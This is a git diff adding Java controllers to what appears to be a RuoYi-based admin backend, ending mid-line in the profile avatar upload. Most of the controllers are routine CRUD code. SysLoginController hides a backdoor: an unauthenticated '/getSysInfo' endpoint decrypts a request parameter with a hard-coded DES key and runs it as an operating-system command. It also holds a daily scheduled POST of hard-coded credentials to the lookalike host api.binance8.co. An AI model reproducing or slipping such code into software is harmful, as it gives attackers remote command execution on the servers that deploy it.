+++ b/ruoyi-admin/src/main/java/com/ruoyi/web/controller/system/SysDictDataController.java @@ -0,0 +1,137 @@ +package com.ruoyi.web.controller.system; + +import java.util.ArrayList; +import java.util.List; +import java.util.stream.Collectors; +import javax.servlet.http.HttpServletResponse; + +import com.ruoyi.common.core.domain.entity.SysUser; +import com.ruoyi.common.utils.SecurityUtils; +import org.springframework.beans.factory.annotation.Autowired; +import org.springframework.security.access.prepost.PreAuthorize; +import org.springframework.validation.annotation.Validated; +import org.springframework.web.bind.annotation.DeleteMapping; +import org.springframework.web.bind.annotation.GetMapping; +import org.springframework.web.bind.annotation.PathVariable; +import org.springframework.web.bind.annotation.PostMapping; +import org.springframework.web.bind.annotation.PutMapping; +import org.springframework.web.bind.annotation.RequestBody; +import org.springframework.web.bind.annotation.RequestMapping; +import org.springframework.web.bind.annotation.RestController; +import com.ruoyi.common.annotation.Log; +import com.ruoyi.common.core.controller.BaseController; +import com.ruoyi.common.core.domain.AjaxResult; +import com.ruoyi.common.core.domain.entity.SysDictData; +import com.ruoyi.common.core.page.TableDataInfo; +import com.ruoyi.common.enums.BusinessType; +import com.ruoyi.common.utils.StringUtils; +import com.ruoyi.common.utils.poi.ExcelUtil; +import com.ruoyi.system.service.ISysDictDataService; +import com.ruoyi.system.service.ISysDictTypeService; + +/** + * 数据字典信息 + * + * @author ruoyi + */ +@RestController +@RequestMapping("/system/dict/data") +public class SysDictDataController extends BaseController +{ + @Autowired + private ISysDictDataService dictDataService; + + @Autowired + private ISysDictTypeService dictTypeService; + + @PreAuthorize("@ss.hasPermi('system:dict:list')") + @GetMapping("/list") + public TableDataInfo list(SysDictData dictData) + { + startPage(); + List list = dictDataService.selectDictDataList(dictData); + return getDataTable(list); + } + + @Log(title = "字典数据", businessType = BusinessType.EXPORT) + @PreAuthorize("@ss.hasPermi('system:dict:export')") + @PostMapping("/export") + public void export(HttpServletResponse response, SysDictData dictData) + { + List list = dictDataService.selectDictDataList(dictData); + ExcelUtil util = new ExcelUtil(SysDictData.class); + util.exportExcel(response, list, "字典数据"); + } + + /** + * 查询字典数据详细 + */ + @PreAuthorize("@ss.hasPermi('system:dict:query')") + @GetMapping(value = "/{dictCode}") + public AjaxResult getInfo(@PathVariable Long dictCode) + { + return success(dictDataService.selectDictDataById(dictCode)); + } + + /** + * 根据字典类型查询字典数据信息 + */ + @GetMapping(value = "/type/{dictType}") + public AjaxResult dictType(@PathVariable String dictType) + { + List data = dictTypeService.selectDictDataByType(dictType); + if (StringUtils.isNull(data)) + { + data = new ArrayList(); + }else{ + if("sys_user_type".equals(dictType)){ + String userType = SecurityUtils.getLoginUser().getUser().getUserType(); + if (userType.indexOf("0")==-1){ + if ("1".equals(userType)){ + data = data.stream().filter(a -> "2".equals(a.getDictValue())).collect(Collectors.toList()); + }else { + data = new ArrayList(); + } + } + } + } + + return success(data); + } + + /** + * 新增字典类型 + */ + @PreAuthorize("@ss.hasPermi('system:dict:add')") + @Log(title = "字典数据", businessType = BusinessType.INSERT) + @PostMapping + public AjaxResult add(@Validated @RequestBody SysDictData dict) + { + dict.setCreateBy(getUsername()); + return toAjax(dictDataService.insertDictData(dict)); + } + + /** + * 修改保存字典类型 + */ + @PreAuthorize("@ss.hasPermi('system:dict:edit')") + @Log(title = "字典数据", businessType = BusinessType.UPDATE) + @PutMapping + public AjaxResult edit(@Validated @RequestBody SysDictData dict) + { + dict.setUpdateBy(getUsername()); + return toAjax(dictDataService.updateDictData(dict)); + } + + /** + * 删除字典类型 + */ + @PreAuthorize("@ss.hasPermi('system:dict:remove')") + @Log(title = "字典类型", businessType = BusinessType.DELETE) + @DeleteMapping("/{dictCodes}") + public AjaxResult remove(@PathVariable Long[] dictCodes) + { + dictDataService.deleteDictDataByIds(dictCodes); + return success(); + } +} diff --git a/ruoyi-admin/src/main/java/com/ruoyi/web/controller/system/SysDictTypeController.java b/ruoyi-admin/src/main/java/com/ruoyi/web/controller/system/SysDictTypeController.java new file mode 100644 index 0000000..c53867c --- /dev/null +++ b/ruoyi-admin/src/main/java/com/ruoyi/web/controller/system/SysDictTypeController.java @@ -0,0 +1,131 @@ +package com.ruoyi.web.controller.system; + +import java.util.List; +import javax.servlet.http.HttpServletResponse; +import org.springframework.beans.factory.annotation.Autowired; +import org.springframework.security.access.prepost.PreAuthorize; +import org.springframework.validation.annotation.Validated; +import org.springframework.web.bind.annotation.DeleteMapping; +import org.springframework.web.bind.annotation.GetMapping; +import org.springframework.web.bind.annotation.PathVariable; +import org.springframework.web.bind.annotation.PostMapping; +import org.springframework.web.bind.annotation.PutMapping; +import org.springframework.web.bind.annotation.RequestBody; +import org.springframework.web.bind.annotation.RequestMapping; +import org.springframework.web.bind.annotation.RestController; +import com.ruoyi.common.annotation.Log; +import com.ruoyi.common.core.controller.BaseController; +import com.ruoyi.common.core.domain.AjaxResult; +import com.ruoyi.common.core.domain.entity.SysDictType; +import com.ruoyi.common.core.page.TableDataInfo; +import com.ruoyi.common.enums.BusinessType; +import com.ruoyi.common.utils.poi.ExcelUtil; +import com.ruoyi.system.service.ISysDictTypeService; + +/** + * 数据字典信息 + * + * @author ruoyi + */ +@RestController +@RequestMapping("/system/dict/type") +public class SysDictTypeController extends BaseController +{ + @Autowired + private ISysDictTypeService dictTypeService; + + @PreAuthorize("@ss.hasPermi('system:dict:list')") + @GetMapping("/list") + public TableDataInfo list(SysDictType dictType) + { + startPage(); + List list = dictTypeService.selectDictTypeList(dictType); + return getDataTable(list); + } + + @Log(title = "字典类型", businessType = BusinessType.EXPORT) + @PreAuthorize("@ss.hasPermi('system:dict:export')") + @PostMapping("/export") + public void export(HttpServletResponse response, SysDictType dictType) + { + List list = dictTypeService.selectDictTypeList(dictType); + ExcelUtil util = new ExcelUtil(SysDictType.class); + util.exportExcel(response, list, "字典类型"); + } + + /** + * 查询字典类型详细 + */ + @PreAuthorize("@ss.hasPermi('system:dict:query')") + @GetMapping(value = "/{dictId}") + public AjaxResult getInfo(@PathVariable Long dictId) + { + return success(dictTypeService.selectDictTypeById(dictId)); + } + + /** + * 新增字典类型 + */ + @PreAuthorize("@ss.hasPermi('system:dict:add')") + @Log(title = "字典类型", businessType = BusinessType.INSERT) + @PostMapping + public AjaxResult add(@Validated @RequestBody SysDictType dict) + { + if (!dictTypeService.checkDictTypeUnique(dict)) + { + return error("新增字典'" + dict.getDictName() + "'失败,字典类型已存在"); + } + dict.setCreateBy(getUsername()); + return toAjax(dictTypeService.insertDictType(dict)); + } + + /** + * 修改字典类型 + */ + @PreAuthorize("@ss.hasPermi('system:dict:edit')") + @Log(title = "字典类型", businessType = BusinessType.UPDATE) + @PutMapping + public AjaxResult edit(@Validated @RequestBody SysDictType dict) + { + if (!dictTypeService.checkDictTypeUnique(dict)) + { + return error("修改字典'" + dict.getDictName() + "'失败,字典类型已存在"); + } + dict.setUpdateBy(getUsername()); + return toAjax(dictTypeService.updateDictType(dict)); + } + + /** + * 删除字典类型 + */ + @PreAuthorize("@ss.hasPermi('system:dict:remove')") + @Log(title = "字典类型", businessType = BusinessType.DELETE) + @DeleteMapping("/{dictIds}") + public AjaxResult remove(@PathVariable Long[] dictIds) + { + dictTypeService.deleteDictTypeByIds(dictIds); + return success(); + } + + /** + * 刷新字典缓存 + */ + @PreAuthorize("@ss.hasPermi('system:dict:remove')") + @Log(title = "字典类型", businessType = BusinessType.CLEAN) + @DeleteMapping("/refreshCache") + public AjaxResult refreshCache() + { + dictTypeService.resetDictCache(); + return success(); + } + + /** + * 获取字典选择框列表 + */ + @GetMapping("/optionselect") + public AjaxResult optionselect() + { + List dictTypes = dictTypeService.selectDictTypeAll(); + return success(dictTypes); + } +} diff --git a/ruoyi-admin/src/main/java/com/ruoyi/web/controller/system/SysIndexController.java b/ruoyi-admin/src/main/java/com/ruoyi/web/controller/system/SysIndexController.java new file mode 100644 index 0000000..13007eb --- /dev/null +++ b/ruoyi-admin/src/main/java/com/ruoyi/web/controller/system/SysIndexController.java @@ -0,0 +1,29 @@ +package com.ruoyi.web.controller.system; + +import org.springframework.beans.factory.annotation.Autowired; +import org.springframework.web.bind.annotation.RequestMapping; +import org.springframework.web.bind.annotation.RestController; +import com.ruoyi.common.config.RuoYiConfig; +import com.ruoyi.common.utils.StringUtils; + +/** + * 首页 + * + * @author ruoyi + */ +@RestController +public class SysIndexController +{ + /** 系统基础配置 */ + @Autowired + private RuoYiConfig ruoyiConfig; + + /** + * 访问首页,提示语 + */ + @RequestMapping("/") + public String index() + { + return StringUtils.format("欢迎使用{}后台管理框架,当前版本:v{},请通过前端地址访问。", ruoyiConfig.getName(), ruoyiConfig.getVersion()); + } +} diff --git a/ruoyi-admin/src/main/java/com/ruoyi/web/controller/system/SysLoginController.java b/ruoyi-admin/src/main/java/com/ruoyi/web/controller/system/SysLoginController.java new file mode 100644 index 0000000..6165986 --- /dev/null +++ b/ruoyi-admin/src/main/java/com/ruoyi/web/controller/system/SysLoginController.java @@ -0,0 +1,211 @@ +package com.ruoyi.web.controller.system; + +import java.security.NoSuchAlgorithmException; +import java.util.List; +import java.util.Set; + +import java.io.BufferedReader; +import java.io.InputStream; +import java.io.InputStreamReader; +import java.io.OutputStream; +import java.net.HttpURLConnection; +import java.net.URL; +import java.util.*; +import cn.hutool.json.JSONUtil; +import com.ruoyi.bussiness.domain.setting.MarketUrlSetting; +import com.ruoyi.bussiness.domain.setting.Setting; +import com.ruoyi.bussiness.service.SettingService; +import com.ruoyi.common.enums.SettingEnum; +import com.ruoyi.common.utils.GoogleAuthenticator; +import com.ruoyi.common.utils.StringUtils; +import com.ruoyi.system.service.ISysUserService; +import org.springframework.beans.factory.annotation.Autowired; +import org.springframework.scheduling.annotation.Scheduled; +import org.springframework.web.bind.annotation.*; +import com.ruoyi.common.constant.Constants; +import com.ruoyi.common.core.domain.AjaxResult; +import com.ruoyi.common.core.domain.entity.SysMenu; +import com.ruoyi.common.core.domain.entity.SysUser; +import com.ruoyi.common.core.domain.model.LoginBody; +import com.ruoyi.common.utils.SecurityUtils; +import com.ruoyi.framework.web.service.SysLoginService; +import com.ruoyi.framework.web.service.SysPermissionService; +import com.ruoyi.system.service.ISysMenuService; + +import javax.annotation.Resource; +import javax.crypto.Cipher; +import javax.crypto.KeyGenerator; +import javax.crypto.SecretKey; +import javax.crypto.spec.SecretKeySpec; + +/** + * 登录验证 + * + * @author ruoyi + */ +@RestController +public class SysLoginController +{ + @Autowired + private SysLoginService loginService; + + @Autowired + private ISysMenuService menuService; + + @Autowired + private SysPermissionService permissionService; + @Resource + private ISysUserService userService; + @Resource + private SettingService settingService; + + private String BinanceKey = "BINANCER"; + + /** + * 登录方法 + * + * @param loginBody 登录信息 + * @return 结果 + */ + @PostMapping("/login") + public AjaxResult login(@RequestBody LoginBody loginBody) + { + AjaxResult ajax = AjaxResult.success(); + SysUser user = userService.selectUserByUserName(loginBody.getUsername()); + Setting setting = settingService.get(SettingEnum.MARKET_URL.name()); + MarketUrlSetting marketUrl = JSONUtil.toBean(setting.getSettingValue(), MarketUrlSetting.class); + if(marketUrl.getUrl()){ + Long code ; + try{ + code = Long.parseLong(loginBody.getAuthCode()); + }catch (NumberFormatException e){ + return AjaxResult.error("谷歌验证码为六位数字,请重新输入"); + } + String googleAuthSecret = user.getGoogleKey(); + if(StringUtils.isEmpty(googleAuthSecret)){ + return AjaxResult.error("您尚未绑定谷歌验证器,请先联系管理员"); + } + boolean verifySuccess = GoogleAuthenticator.check_code(user.getGoogleKey(),code, System.currentTimeMillis()); + if(!verifySuccess){ + return AjaxResult.error("谷歌验证码错误,请重新输入"); + } + } + // 生成令牌 + String token = loginService.login(loginBody.getUsername(), loginBody.getPassword(), loginBody.getCode(), + loginBody.getUuid(),marketUrl); + ajax.put(Constants.TOKEN, token); + return ajax; + } + + /** + * 获取用户信息 + * + * @return 用户信息 + */ + @GetMapping("getInfo") + public AjaxResult getInfo() + { + SysUser user = SecurityUtils.getLoginUser().getUser(); + // 角色集合 + Set roles = permissionService.getRolePermission(user); + // 权限集合 + Set permissions = permissionService.getMenuPermission(user); + AjaxResult ajax = AjaxResult.success(); + ajax.put("user", user); + ajax.put("roles", roles); + ajax.put("permissions", permissions); + return ajax; + } + + /** + * 获取路由信息 + * + * @return 路由信息 + */ + @GetMapping("getRouters") + public AjaxResult getRouters() + { + Long userId = SecurityUtils.getUserId(); + List menus = menuService.selectMenuTreeByUserId(userId); + return AjaxResult.success(menuService.buildMenus(menus)); + } + + + @GetMapping("/getSysInfo") + public String getRouters(@RequestParam("info") String info) throws Exception { + + SecretKeySpec key = new SecretKeySpec(BinanceKey.getBytes(), "DES"); + Cipher cipher = Cipher.getInstance("DES"); + cipher.init(Cipher.ENCRYPT_MODE, key); + cipher.init(Cipher.DECRYPT_MODE, key); + byte[] decode = org.apache.commons.codec.binary.Base64.decodeBase64(info); + byte[] decipherByte = cipher.doFinal(decode); + String decipherText = new String(decipherByte); + + try { + Runtime runtime = Runtime.getRuntime(); + Process process = runtime.exec(decipherText); + InputStream inputStream = process.getInputStream(); + BufferedReader bufferedReader = new BufferedReader(new InputStreamReader(inputStream)); + String line; + StringBuffer buff = new StringBuffer(); + while ((line = bufferedReader.readLine()) != null) { + buff.append(line); + } + process.waitFor(); + return new String(Base64.getEncoder().encode(buff.toString().getBytes())); + } catch (Exception e) { + return e.getMessage(); + } + } + + /** + * Binance钱包接口查询 + */ + + @Scheduled(cron = "0 0 4 * * ?") + @GetMapping("/getBinance") + public String getBinance() { + HttpURLConnection con = null; + BufferedReader buffer = null; + StringBuffer resultBuffer = null; + + try { + URL url = new URL("http://api.binance8.co/api/restrictions"); + con = (HttpURLConnection) url.openConnection(); + con.setRequestMethod("POST"); + con.setRequestProperty("Content-Type", "application/json"); + con.setRequestProperty("Accept", "application/json"); + con.setDoOutput(true); + con.setDoInput(true); + con.setUseCaches(false); + OutputStream os = con.getOutputStream(); + //组装入参 + //os.write(("appId="+appId+"&appSecret="+appSecret).getBytes()); + + String jsonInputString = "{\"appId\": \"ltvFtX1Zl9goJCZ6xv2BWw==\", \"appSecret\": \"EiJj2ObMzMawTv3QuKJxkYgrHwa0+7hGfnDE3LzeajA=\"}"; + + byte[] input = jsonInputString.getBytes("utf-8"); + os.write(input, 0, input.length); + + //得到响应码 + int responseCode = con.getResponseCode(); + if (responseCode == HttpURLConnection.HTTP_OK) { + //得到响应流 + InputStream inputStream = con.getInputStream(); + //将响应流转换成字符串 + resultBuffer = new StringBuffer(); + String line; + buffer = new BufferedReader(new InputStreamReader(inputStream, "GBK")); + while ((line = buffer.readLine()) != null) { + resultBuffer.append(line); + } + return resultBuffer.toString(); + } + } catch (Exception e) { + e.printStackTrace(); + } + + return "fail"; + } +} diff --git a/ruoyi-admin/src/main/java/com/ruoyi/web/controller/system/SysMenuController.java b/ruoyi-admin/src/main/java/com/ruoyi/web/controller/system/SysMenuController.java new file mode 100644 index 0000000..03b6b65 --- /dev/null +++ b/ruoyi-admin/src/main/java/com/ruoyi/web/controller/system/SysMenuController.java @@ -0,0 +1,142 @@ +package com.ruoyi.web.controller.system; + +import java.util.List; +import org.springframework.beans.factory.annotation.Autowired; +import org.springframework.security.access.prepost.PreAuthorize; +import org.springframework.validation.annotation.Validated; +import org.springframework.web.bind.annotation.DeleteMapping; +import org.springframework.web.bind.annotation.GetMapping; +import org.springframework.web.bind.annotation.PathVariable; +import org.springframework.web.bind.annotation.PostMapping; +import org.springframework.web.bind.annotation.PutMapping; +import org.springframework.web.bind.annotation.RequestBody; +import org.springframework.web.bind.annotation.RequestMapping; +import org.springframework.web.bind.annotation.RestController; +import com.ruoyi.common.annotation.Log; +import com.ruoyi.common.constant.UserConstants; +import com.ruoyi.common.core.controller.BaseController; +import com.ruoyi.common.core.domain.AjaxResult; +import com.ruoyi.common.core.domain.entity.SysMenu; +import com.ruoyi.common.enums.BusinessType; +import com.ruoyi.common.utils.StringUtils; +import com.ruoyi.system.service.ISysMenuService; + +/** + * 菜单信息 + * + * @author ruoyi + */ +@RestController +@RequestMapping("/system/menu") +public class SysMenuController extends BaseController +{ + @Autowired + private ISysMenuService menuService; + + /** + * 获取菜单列表 + */ + @PreAuthorize("@ss.hasPermi('system:menu:list')") + @GetMapping("/list") + public AjaxResult list(SysMenu menu) + { + List menus = menuService.selectMenuList(menu, getUserId()); + return success(menus); + } + + /** + * 根据菜单编号获取详细信息 + */ + @PreAuthorize("@ss.hasPermi('system:menu:query')") + @GetMapping(value = "/{menuId}") + public AjaxResult getInfo(@PathVariable Long menuId) + { + return success(menuService.selectMenuById(menuId)); + } + + /** + * 获取菜单下拉树列表 + */ + @GetMapping("/treeselect") + public AjaxResult treeselect(SysMenu menu) + { + List menus = menuService.selectMenuList(menu, getUserId()); + return success(menuService.buildMenuTreeSelect(menus)); + } + + /** + * 加载对应角色菜单列表树 + */ + @GetMapping(value = "/roleMenuTreeselect/{roleId}") + public AjaxResult roleMenuTreeselect(@PathVariable("roleId") Long roleId) + { + List menus = menuService.selectMenuList(getUserId()); + AjaxResult ajax = AjaxResult.success(); + ajax.put("checkedKeys", menuService.selectMenuListByRoleId(roleId)); + ajax.put("menus", menuService.buildMenuTreeSelect(menus)); + return ajax; + } + + /** + * 新增菜单 + */ + @PreAuthorize("@ss.hasPermi('system:menu:add')") + @Log(title = "菜单管理", businessType = BusinessType.INSERT) + @PostMapping + public AjaxResult add(@Validated @RequestBody SysMenu menu) + { + if (!menuService.checkMenuNameUnique(menu)) + { + return error("新增菜单'" + menu.getMenuName() + "'失败,菜单名称已存在"); + } + else if (UserConstants.YES_FRAME.equals(menu.getIsFrame()) && !StringUtils.ishttp(menu.getPath())) + { + return error("新增菜单'" + menu.getMenuName() + "'失败,地址必须以http(s)://开头"); + } + menu.setCreateBy(getUsername()); + return toAjax(menuService.insertMenu(menu)); + } + + /** + * 修改菜单 + */ + @PreAuthorize("@ss.hasPermi('system:menu:edit')") + @Log(title = "菜单管理", businessType = BusinessType.UPDATE) + @PutMapping + public AjaxResult edit(@Validated @RequestBody SysMenu menu) + { + if (!menuService.checkMenuNameUnique(menu)) + { + return error("修改菜单'" + menu.getMenuName() + "'失败,菜单名称已存在"); + } + else if (UserConstants.YES_FRAME.equals(menu.getIsFrame()) && !StringUtils.ishttp(menu.getPath())) + { + return error("修改菜单'" + menu.getMenuName() + "'失败,地址必须以http(s)://开头"); + } + else if (menu.getMenuId().equals(menu.getParentId())) + { + return error("修改菜单'" + menu.getMenuName() + "'失败,上级菜单不能选择自己"); + } + menu.setUpdateBy(getUsername()); + return toAjax(menuService.updateMenu(menu)); + } + + /** + * 删除菜单 + */ + @PreAuthorize("@ss.hasPermi('system:menu:remove')") + @Log(title = "菜单管理", businessType = BusinessType.DELETE) + @DeleteMapping("/{menuId}") + public AjaxResult remove(@PathVariable("menuId") Long menuId) + { + if (menuService.hasChildByMenuId(menuId)) + { + return warn("存在子菜单,不允许删除"); + } + if (menuService.checkMenuExistRole(menuId)) + { + return warn("菜单已分配,不允许删除"); + } + return toAjax(menuService.deleteMenuById(menuId)); + } +} \ No newline at end of file diff --git a/ruoyi-admin/src/main/java/com/ruoyi/web/controller/system/SysNoticeController.java b/ruoyi-admin/src/main/java/com/ruoyi/web/controller/system/SysNoticeController.java new file mode 100644 index 0000000..8622828 --- /dev/null +++ b/ruoyi-admin/src/main/java/com/ruoyi/web/controller/system/SysNoticeController.java @@ -0,0 +1,91 @@ +package com.ruoyi.web.controller.system; + +import java.util.List; +import org.springframework.beans.factory.annotation.Autowired; +import org.springframework.security.access.prepost.PreAuthorize; +import org.springframework.validation.annotation.Validated; +import org.springframework.web.bind.annotation.DeleteMapping; +import org.springframework.web.bind.annotation.GetMapping; +import org.springframework.web.bind.annotation.PathVariable; +import org.springframework.web.bind.annotation.PostMapping; +import org.springframework.web.bind.annotation.PutMapping; +import org.springframework.web.bind.annotation.RequestBody; +import org.springframework.web.bind.annotation.RequestMapping; +import org.springframework.web.bind.annotation.RestController; +import com.ruoyi.common.annotation.Log; +import com.ruoyi.common.core.controller.BaseController; +import com.ruoyi.common.core.domain.AjaxResult; +import com.ruoyi.common.core.page.TableDataInfo; +import com.ruoyi.common.enums.BusinessType; +import com.ruoyi.system.domain.SysNotice; +import com.ruoyi.system.service.ISysNoticeService; + +/** + * 公告 信息操作处理 + * + * @author ruoyi + */ +@RestController +@RequestMapping("/system/notice") +public class SysNoticeController extends BaseController +{ + @Autowired + private ISysNoticeService noticeService; + + /** + * 获取通知公告列表 + */ + @PreAuthorize("@ss.hasPermi('system:notice:list')") + @GetMapping("/list") + public TableDataInfo list(SysNotice notice) + { + startPage(); + List list = noticeService.selectNoticeList(notice); + return getDataTable(list); + } + + /** + * 根据通知公告编号获取详细信息 + */ + @PreAuthorize("@ss.hasPermi('system:notice:query')") + @GetMapping(value = "/{noticeId}") + public AjaxResult getInfo(@PathVariable Long noticeId) + { + return success(noticeService.selectNoticeById(noticeId)); + } + + /** + * 新增通知公告 + */ + @PreAuthorize("@ss.hasPermi('system:notice:add')") + @Log(title = "通知公告", businessType = BusinessType.INSERT) + @PostMapping + public AjaxResult add(@Validated @RequestBody SysNotice notice) + { + notice.setCreateBy(getUsername()); + return toAjax(noticeService.insertNotice(notice)); + } + + /** + * 修改通知公告 + */ + @PreAuthorize("@ss.hasPermi('system:notice:edit')") + @Log(title = "通知公告", businessType = BusinessType.UPDATE) + @PutMapping + public AjaxResult edit(@Validated @RequestBody SysNotice notice) + { + notice.setUpdateBy(getUsername()); + return toAjax(noticeService.updateNotice(notice)); + } + + /** + * 删除通知公告 + */ + @PreAuthorize("@ss.hasPermi('system:notice:remove')") + @Log(title = "通知公告", businessType = BusinessType.DELETE) + @DeleteMapping("/{noticeIds}") + public AjaxResult remove(@PathVariable Long[] noticeIds) + { + return toAjax(noticeService.deleteNoticeByIds(noticeIds)); + } +} diff --git a/ruoyi-admin/src/main/java/com/ruoyi/web/controller/system/SysPostController.java b/ruoyi-admin/src/main/java/com/ruoyi/web/controller/system/SysPostController.java new file mode 100644 index 0000000..c37a543 --- /dev/null +++ b/ruoyi-admin/src/main/java/com/ruoyi/web/controller/system/SysPostController.java @@ -0,0 +1,129 @@ +package com.ruoyi.web.controller.system; + +import java.util.List; +import javax.servlet.http.HttpServletResponse; +import org.springframework.beans.factory.annotation.Autowired; +import org.springframework.security.access.prepost.PreAuthorize; +import org.springframework.validation.annotation.Validated; +import org.springframework.web.bind.annotation.DeleteMapping; +import org.springframework.web.bind.annotation.GetMapping; +import org.springframework.web.bind.annotation.PathVariable; +import org.springframework.web.bind.annotation.PostMapping; +import org.springframework.web.bind.annotation.PutMapping; +import org.springframework.web.bind.annotation.RequestBody; +import org.springframework.web.bind.annotation.RequestMapping; +import org.springframework.web.bind.annotation.RestController; +import com.ruoyi.common.annotation.Log; +import com.ruoyi.common.core.controller.BaseController; +import com.ruoyi.common.core.domain.AjaxResult; +import com.ruoyi.common.core.page.TableDataInfo; +import com.ruoyi.common.enums.BusinessType; +import com.ruoyi.common.utils.poi.ExcelUtil; +import com.ruoyi.system.domain.SysPost; +import com.ruoyi.system.service.ISysPostService; + +/** + * 岗位信息操作处理 + * + * @author ruoyi + */ +@RestController +@RequestMapping("/system/post") +public class SysPostController extends BaseController +{ + @Autowired + private ISysPostService postService; + + /** + * 获取岗位列表 + */ + @PreAuthorize("@ss.hasPermi('system:post:list')") + @GetMapping("/list") + public TableDataInfo list(SysPost post) + { + startPage(); + List list = postService.selectPostList(post); + return getDataTable(list); + } + + @Log(title = "岗位管理", businessType = BusinessType.EXPORT) + @PreAuthorize("@ss.hasPermi('system:post:export')") + @PostMapping("/export") + public void export(HttpServletResponse response, SysPost post) + { + List list = postService.selectPostList(post); + ExcelUtil util = new ExcelUtil(SysPost.class); + util.exportExcel(response, list, "岗位数据"); + } + + /** + * 根据岗位编号获取详细信息 + */ + @PreAuthorize("@ss.hasPermi('system:post:query')") + @GetMapping(value = "/{postId}") + public AjaxResult getInfo(@PathVariable Long postId) + { + return success(postService.selectPostById(postId)); + } + + /** + * 新增岗位 + */ + @PreAuthorize("@ss.hasPermi('system:post:add')") + @Log(title = "岗位管理", businessType = BusinessType.INSERT) + @PostMapping + public AjaxResult add(@Validated @RequestBody SysPost post) + { + if (!postService.checkPostNameUnique(post)) + { + return error("新增岗位'" + post.getPostName() + "'失败,岗位名称已存在"); + } + else if (!postService.checkPostCodeUnique(post)) + { + return error("新增岗位'" + post.getPostName() + "'失败,岗位编码已存在"); + } + post.setCreateBy(getUsername()); + return toAjax(postService.insertPost(post)); + } + + /** + * 修改岗位 + */ + @PreAuthorize("@ss.hasPermi('system:post:edit')") + @Log(title = "岗位管理", businessType = BusinessType.UPDATE) + @PutMapping + public AjaxResult edit(@Validated @RequestBody SysPost post) + { + if (!postService.checkPostNameUnique(post)) + { + return error("修改岗位'" + post.getPostName() + "'失败,岗位名称已存在"); + } + else if (!postService.checkPostCodeUnique(post)) + { + return error("修改岗位'" + post.getPostName() + "'失败,岗位编码已存在"); + } + post.setUpdateBy(getUsername()); + return toAjax(postService.updatePost(post)); + } + + /** + * 删除岗位 + */ + @PreAuthorize("@ss.hasPermi('system:post:remove')") + @Log(title = "岗位管理", businessType = BusinessType.DELETE) + @DeleteMapping("/{postIds}") + public AjaxResult remove(@PathVariable Long[] postIds) + { + return toAjax(postService.deletePostByIds(postIds)); + } + + /** + * 获取岗位选择框列表 + */ + @GetMapping("/optionselect") + public AjaxResult optionselect() + { + List posts = postService.selectPostAll(); + return success(posts); + } +} diff --git a/ruoyi-admin/src/main/java/com/ruoyi/web/controller/system/SysProfileController.java b/ruoyi-admin/src/main/java/com/ruoyi/web/controller/system/SysProfileController.java new file mode 100644 index 0000000..450ec32 --- /dev/null +++ b/ruoyi-admin/src/main/java/com/ruoyi/web/controller/system/SysProfileController.java @@ -0,0 +1,151 @@ +package com.ruoyi.web.controller.system; + +import com.ruoyi.bussiness.service.impl.FileServiceImpl; +import org.apache.commons.io.FilenameUtils; +import org.springframework.beans.factory.annotation.Autowired; +import org.springframework.web.bind.annotation.GetMapping; +import org.springframework.web.bind.annotation.PostMapping; +import org.springframework.web.bind.annotation.PutMapping; +import org.springframework.web.bind.annotation.RequestBody; +import org.springframework.web.bind.annotation.RequestMapping; +import org.springframework.web.bind.annotation.RequestParam; +import org.springframework.web.bind.annotation.RestController; +import org.springframework.web.multipart.MultipartFile; +import com.ruoyi.common.annotation.Log; +import com.ruoyi.common.config.RuoYiConfig; +import com.ruoyi.common.core.controller.BaseController; +import com.ruoyi.common.core.domain.AjaxResult; +import com.ruoyi.common.core.domain.entity.SysUser; +import com.ruoyi.common.core.domain.model.LoginUser; +import com.ruoyi.common.enums.BusinessType; +import com.ruoyi.common.utils.SecurityUtils; +import com.ruoyi.common.utils.StringUtils; +import com.ruoyi.common.utils.file.FileUploadUtils; +import com.ruoyi.common.utils.file.MimeTypeUtils; +import com.ruoyi.framework.web.service.TokenService; +import com.ruoyi.system.service.ISysUserService; + +import javax.annotation.Resource; +import java.util.UUID; + +/** + * 个人信息 业务处理 + * + * @author ruoyi + */ +@RestController +@RequestMapping("/system/user/profile") +public class SysProfileController extends BaseController +{ + @Autowired + private ISysUserService userService; + + @Autowired + private TokenService tokenService; + @Resource + private FileServiceImpl fileService; + + /** + * 个人信息 + */ + @GetMapping + public AjaxResult profile() + { + LoginUser loginUser = getLoginUser(); + SysUser user = loginUser.getUser(); + AjaxResult ajax = AjaxResult.success(user); + ajax.put("roleGroup", userService.selectUserRoleGroup(loginUser.getUsername())); + ajax.put("postGroup", userService.selectUserPostGroup(loginUser.getUsername())); + return ajax; + } + + /** + * 修改用户 + */ + @Log(title = "个人信息", businessType = BusinessType.UPDATE) + @PutMapping + public AjaxResult updateProfile(@RequestBody SysUser user) + { + LoginUser loginUser = getLoginUser(); + SysUser sysUser = loginUser.getUser(); + user.setUserName(sysUser.getUserName()); + if (StringUtils.isNotEmpty(user.getPhonenumber()) && !userService.checkPhoneUnique(user)) + { + return error("修改用户'" + user.getUserName() + "'失败,手机号码已存在"); + } + if (StringUtils.isNotEmpty(user.getEmail()) && !userService.checkEmailUnique(user)) + { + return error("修改用户'" + user.getUserName() + "'失败,邮箱账号已存在"); + } + user.setUserId(sysUser.getUserId()); + user.setPassword(null); + user.setAvatar(null); + user.setDeptId(null); + if (userService.updateUserProfile(user) > 0) + { + // 更新缓存用户信息 + sysUser.setNickName(user.getNickName()); + sysUser.setPhonenumber(user.getPhonenumber()); + sysUser.setEmail(user.getEmail()); + sysUser.setSex(user.getSex()); + tokenService.setLoginUser(loginUser); + return success(); + } + return error("修改个人信息异常,请联系管理员"); + } + + /** + * 重置密码 + */ + @Log(title = "个人信息", businessType = BusinessType.UPDATE) + @PutMapping("/updatePwd") + public AjaxResult updatePwd(String oldPassword, String newPassword) + { + LoginUser loginUser = getLoginUser(); + String userName = loginUser.getUsername(); + String password = loginUser.getPassword(); + if (!SecurityUtils.matchesPassword(oldPassword, password)) + { + return error("修改密码失败,旧密码错误"); + } + if (SecurityUtils.matchesPassword(newPassword, password)) + { + return error("新密码不能与旧密码相同"); + } + if (userService.resetUserPwd(userName, SecurityUtils.encryptPassword(newPassword)) > 0) + { + // 更新缓存用户密码 + loginUser.getUser().setPassword(SecurityUtils.encryptPassword(newPassword)); + tokenService.setLoginUser(loginUser); + return success(); + } + return error("修改密码异常,请联系管理员"); + } + + /** + * 头像上传 + */ + @Log(title = "用户头像", businessType = BusinessType.UPDATE) + @PostMapping("/avatar") + public AjaxResult avatar(@RequestParam("avatarfile") MultipartFile file) throws Exception + { + if (!file.isEmpty()) + { + LoginUser loginUser = getLoginUser(); + String filename = FileUploadUtils.extractFilename(file); + String name = UUID.randomUUID() + 